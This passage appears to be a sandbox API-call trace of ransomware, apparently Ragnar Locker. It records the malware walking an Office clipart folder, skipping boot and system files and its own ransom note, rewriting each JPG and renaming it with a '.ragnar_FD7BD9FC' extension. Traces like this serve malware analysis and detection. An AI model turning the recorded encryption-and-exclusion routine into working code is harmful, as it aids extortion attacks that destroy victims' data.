lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.115] VirtualAlloc (lpAddress=0x0, dwSize=0x17dee, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.115] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.115] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.115] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x17dee, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x17dee, lpOverlapped=0x0) returned 1 [0088.118] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.118] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17dee, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.118] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x17dee, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x17dee, lpOverlapped=0x0) returned 1 [0088.119] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17dee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.119] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.119] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17dee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.119] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.119] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.119] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.119] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.120] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.120] GetProcessHeap () returned 0x580000 [0088.120] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.120] CloseHandle (hObject=0xf4) returned 1 [0088.120] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" [0088.120] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.ragnar_FD7BD9FC" [0088.120] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.121] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bb02, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382965.JPG", cAlternateFileName="")) returned 1 [0088.121] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.121] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382965.JPG" | out: lpString1="J0382965.JPG") returned="J0382965.JPG" [0088.121] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG") returned=".JPG" [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="autorun.inf") returned 1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="boot.ini") returned 1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="bootfont.bin") returned 1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="bootsect.bak") returned 1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="bootmgr") returned 1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="bootmgr.efi") returned 1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="bootmgfw.efi") returned 1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="desktop.ini") returned 1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="iconcache.db") returned 1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="ntldr") returned -1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="ntuser.dat") returned -1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="ntuser.dat.log") returned -1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="ntuser.ini") returned -1 [0088.121] lstrcmpiW (lpString1="J0382965.JPG", lpString2="thumbs.db") returned -1 [0088.121] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.121] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.121] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.121] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.121] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.121] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.121] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg")) returned 0x20 [0088.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.122] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=113410) returned 1 [0088.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1baf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.122] GetProcessHeap () returned 0x580000 [0088.122] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.122] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.124] VirtualAlloc (lpAddress=0x0, dwSize=0x1bb02, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.124] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.124] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.124] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1bb02, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1bb02, lpOverlapped=0x0) returned 1 [0088.127] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.128] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bb02, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.128] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1bb02, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1bb02, lpOverlapped=0x0) returned 1 [0088.129] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bb02, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.129] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.130] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bb02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.130] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.130] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.130] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.130] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.130] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.130] GetProcessHeap () returned 0x580000 [0088.130] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.130] CloseHandle (hObject=0xf4) returned 1 [0088.130] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" [0088.130] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.ragnar_FD7BD9FC" [0088.130] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382966.JPG", cAlternateFileName="")) returned 1 [0088.131] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.131] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382966.JPG" | out: lpString1="J0382966.JPG") returned="J0382966.JPG" [0088.131] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG") returned=".JPG" [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="autorun.inf") returned 1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="boot.ini") returned 1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="bootfont.bin") returned 1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="bootsect.bak") returned 1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="bootmgr") returned 1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="bootmgr.efi") returned 1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="bootmgfw.efi") returned 1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="desktop.ini") returned 1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="iconcache.db") returned 1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="ntldr") returned -1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="ntuser.dat") returned -1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="ntuser.dat.log") returned -1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="ntuser.ini") returned -1 [0088.131] lstrcmpiW (lpString1="J0382966.JPG", lpString2="thumbs.db") returned -1 [0088.131] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.132] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.132] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.132] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.132] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.132] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.132] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg")) returned 0x20 [0088.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.132] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=100488) returned 1 [0088.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1887f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.132] GetProcessHeap () returned 0x580000 [0088.132] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.132] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.134] VirtualAlloc (lpAddress=0x0, dwSize=0x18888, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.134] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.134] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.134] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x18888, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x18888, lpOverlapped=0x0) returned 1 [0088.137] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.137] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18888, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.137] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x18888, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x18888, lpOverlapped=0x0) returned 1 [0088.138] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18888, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.138] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.138] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18888, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.138] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.138] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.139] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.139] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.139] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.139] GetProcessHeap () returned 0x580000 [0088.139] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.139] CloseHandle (hObject=0xf4) returned 1 [0088.139] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" [0088.139] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.ragnar_FD7BD9FC" [0088.139] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.140] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382967.JPG", cAlternateFileName="")) returned 1 [0088.140] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.140] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382967.JPG" | out: lpString1="J0382967.JPG") returned="J0382967.JPG" [0088.140] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG") returned=".JPG" [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="autorun.inf") returned 1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="boot.ini") returned 1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="bootfont.bin") returned 1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="bootsect.bak") returned 1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="bootmgr") returned 1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="bootmgr.efi") returned 1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="bootmgfw.efi") returned 1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="desktop.ini") returned 1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="iconcache.db") returned 1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="ntldr") returned -1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="ntuser.dat") returned -1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="ntuser.dat.log") returned -1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="ntuser.ini") returned -1 [0088.140] lstrcmpiW (lpString1="J0382967.JPG", lpString2="thumbs.db") returned -1 [0088.140] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.140] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.140] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.140] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.140] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.140] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.140] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg")) returned 0x20 [0088.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.142] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=93448) returned 1 [0088.142] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16cff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.142] GetProcessHeap () returned 0x580000 [0088.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.142] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.143] VirtualAlloc (lpAddress=0x0, dwSize=0x16d08, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.143] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.143] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.143] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16d08, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16d08, lpOverlapped=0x0) returned 1 [0088.146] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 